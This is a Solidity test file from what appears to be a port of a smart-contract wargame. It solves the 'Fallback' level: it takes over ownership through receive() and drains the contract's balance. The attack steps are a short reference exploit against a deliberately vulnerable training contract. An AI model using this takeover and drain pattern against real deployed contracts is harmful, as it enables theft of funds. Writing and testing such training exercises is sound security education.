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zeekayandHanzo Dev
8c2e9e3d6f
Each level test proves a fresh instance is unsolved, runs the reference exploit (contracts/src/attacks/* or the equivalent steps) and asserts Lux records completion. Motorbike stops at seizing the uninitialised Engine: its "engine destroyed" completion needs selfdestruct to delete code, which EIP-6780 forbids across transactions on the Cancun baseline, so the test proves the seizure and documents the limit. Co-authored-by: Hanzo Dev <[email protected]>
35 lines
1.1 KiB
Solidity
35 lines
1.1 KiB
Solidity
// SPDX-License-Identifier: MIT
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pragma solidity 0.8.37;
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import {LuxTest} from "../Base.t.sol";
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import {FallbackFactory} from "../../src/levels/FallbackFactory.sol";
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import {Fallback} from "../../src/levels/Fallback.sol";
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contract FallbackLevel is LuxTest {
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FallbackFactory factory;
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address player = makeAddr("player");
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function setUp() public {
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_deployCore();
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factory = new FallbackFactory();
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_register(factory);
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}
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function test_solve() public {
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address instance = _create(factory, player, 0);
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_assertUnsolved(instance, player);
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vm.deal(player, 1 ether);
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vm.startPrank(player, player);
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Fallback(payable(instance)).contribute{value: 1 wei}();
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(bool ok,) = instance.call{value: 1 wei}(""); // hit receive() -> owner = player
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require(ok, "receive failed");
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Fallback(payable(instance)).withdraw(); // drain to owner (player)
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vm.stopPrank();
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assertEq(Fallback(payable(instance)).owner(), player);
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assertEq(instance.balance, 0);
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_assertSolved(factory, instance, player);
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}
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}
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